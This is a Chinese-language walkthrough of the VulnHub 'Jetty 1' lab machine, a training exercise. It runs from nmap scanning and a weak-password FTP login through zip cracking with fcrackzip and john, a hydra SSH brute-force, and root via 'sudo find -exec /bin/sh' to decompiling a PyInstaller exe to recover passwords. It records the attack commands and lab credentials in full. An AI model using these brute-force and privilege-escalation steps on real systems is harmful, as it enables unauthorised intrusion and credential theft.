靶机下载地址:https://www.vulnhub.com/entry/jetty-1,621/
教程链接地址: https://blog.csdn.net/weixin_45922278/article/details/113705281
# 确认攻击目标
攻击机 KALI: 192.168.31.135
靶机 JETTY:桥接于 192.168.31.1 的网卡,ip 未知
1 )确定靶机 ip 地址
sudo arp-scan -l

-> 靶机 ip:192.168.31.66
2 )确认靶机 ip 开放的端口信息
sudo nmap -A -p- 192.168.31.66

-> 靶机开放端口 21,80
# FTP 弱口令及下载
先从 ftp 进行下手

尝试弱口令登陆成功,看到 ftp 服务中存在两个文件,用 lcd 来在 ftp 服务中控制 kali 的目录,下载文件

查看下载下来的两个文件

其中 README.txt 中给了 Henry、Michael 的用户名,解压 sshpass.zip 的时候发现其是有密码认证的
# zip 加密破解
破解 zip fcrackzip -D -u -p /usr/share/wordlists/rockyou.txt sshpass.zip

也可以使用 zip2john 将加密的 zip 转化为可以用 john 破解的
zip2join sshpass.zip > ssh.txt
john ssh.txt –wordlist=/usr/share/wordlists/rockyou.txt

得到 zip 的密码为 seahorse!进行解压

-> 解压后即得到了 ssh 的密码
到目前为止我们已经得到了 ssh 的一个疑似账户 Henry 和一个 ssh 密码
但是我们扫描端口时并没有发现 ssh 协议是开启的,还需要其他的信息收集
打开 http://192.168.31.66 进行信息收集

识别目录,看能否找到更多的目录信息

查看目录: http://192.168.31.66/robots.txt
发现了四个目录,依次访问之后没有发现

到此为止,我们的信息收集工作就做完了,但是仍然还有个问题,为什么没有开启 ssh 协议,是不是之前识别的结果有问题?还有就是 ssh 用户名只有这一个吗,还有没有其他的可能的用户名。带着问题去看 vulnhub 上给出的提示,发现了一个用户名 Squiddie。

# hydra 爆破 ssh
其次,用 nmap 再次更详细的扫描一下端口,看能否扫描到 ssh 协议

经过这一次的扫描,扫描到了 65507 端口开放的是 ssh 协议可能因为这个端口在比较靠后的位置,并且不是常用的端口,所以第一次扫描的时候并没有扫到
003 hydra 指定端口爆破,find 提权
现在我门就通过 hydra 爆破 65507 端口处的 ssh 协议,并且指定用户名为 Henry、Michael、Squiddie 以及这三个及首字母变为小写的三个,密码为爆破 zip 之后解压出来的密码
hydra -L user.txt -P sshpass.txt ssh://192.168.31.66 -f -t 4 -I -s 65507 -vV -o hydra.ssh
得到密码并连接

ssh squiddie@192.168.31.66 -p 65507

-> 连接成功
# sudo (find) 提权
靶机里边装了一个 python2 的命令,输入 python2 打开其命令行
import pty
pty.spawn("/bin/bash")

得到一个标准的 shell
sudo -l 时发现了可以无密码调用 root 的 find 命令,利用 find 提权
sudo find. -exec /bin/sh ; -quit

-> 成功拿到了 root 权限
# 架构不支持处理
此靶机的目标是找到犯罪证据,还需进一步的深入测试,查看定时任务 crontab -l
发现有一个备份文件一直在执行,此命令就是做一个备份,跟踪找到这个.docs 的文件夹查看内容

这里有几个 xlsx 的文件以及一个文件夹,也许这几个文件就是犯罪证据,我们将这些文件都发送到 kali 机器上,用 scp/ftp/python 等方式进行传输
scp -r * parallels@192.168.31.65:~/Desktop/tool/jetty/doc/

Kali 机器接受到文件之后,直接双击打开这些 xlsx 的文件

错误内容显示架构不支持,因为此 kali 机器是在 mac M1 上虚拟出来的虚拟机,是 arm 架构的 kali,所以有些东西是没有兼容的

并且 Password_kepper 文件夹中有一个 exe 的 windows 上才能执行的可执行文件,是需要发到 windows 机器上才能运行的

这个地方我再次通过 scp 将这些文件都传输到了一般用的 amd 的 windows 机器
ping 192.168.31.91
scp -r * administrator@192.168.31.91:/E:/Desktop/doc/

传输成功,结果如下图

xlsx 文件需要密码才能解开

运行 exe 文件,发现有个选项可以查看密码

大致浏览了一下所有的信息之后,发现这个 exe 文件是用 pyinstaller 编译出来的,既然如此,接下来我们的目标就是去反编译这个 exe 文件

# uncompyle6 反编译 pyc
下载在 github 上用于反编译 pyinstaller 生成的文件的工具 pyinstxtractor
wget https://github.com/extremecoders-re/pyinstxtractor.git
Python2 pyinstxtractor.py password_keeper.exe

查看执行效果

执行之后会在 pyinstxtractor.py 同目录下生成一个文件夹,产生一个 password_keeper.exe_extracted 目录,在目录下找到关键 pyc 文件也就是 password_keeper.pyc,再将这个文件反编译。
使用 uncompyle6 反编译 pyc 文件
安装 uncompylepip install uncompyle

反编译 pyc 文件 uncompyle6 .\password_keeper.pyc > password_keeper.py

# 调查取证
对得到的代码进行代码审计

总结功能大概如下,我们输入选项之后,需要我们输入一个密钥,将此密钥进行 base64 加密后与代码中的 key 进行比对,如果是相同的就会输出密码
先进行 base64 解密 echo “N2FlMjE4ZmYyOTI4ZjZiMg==” | base64 -d

运行 exe 文件,输入 1,然后输入解密后的密钥 7ae218ff2928f6b2

得到了五个密码,分别是这五个 xlsx 的密码
-> 成功拿到犯罪证据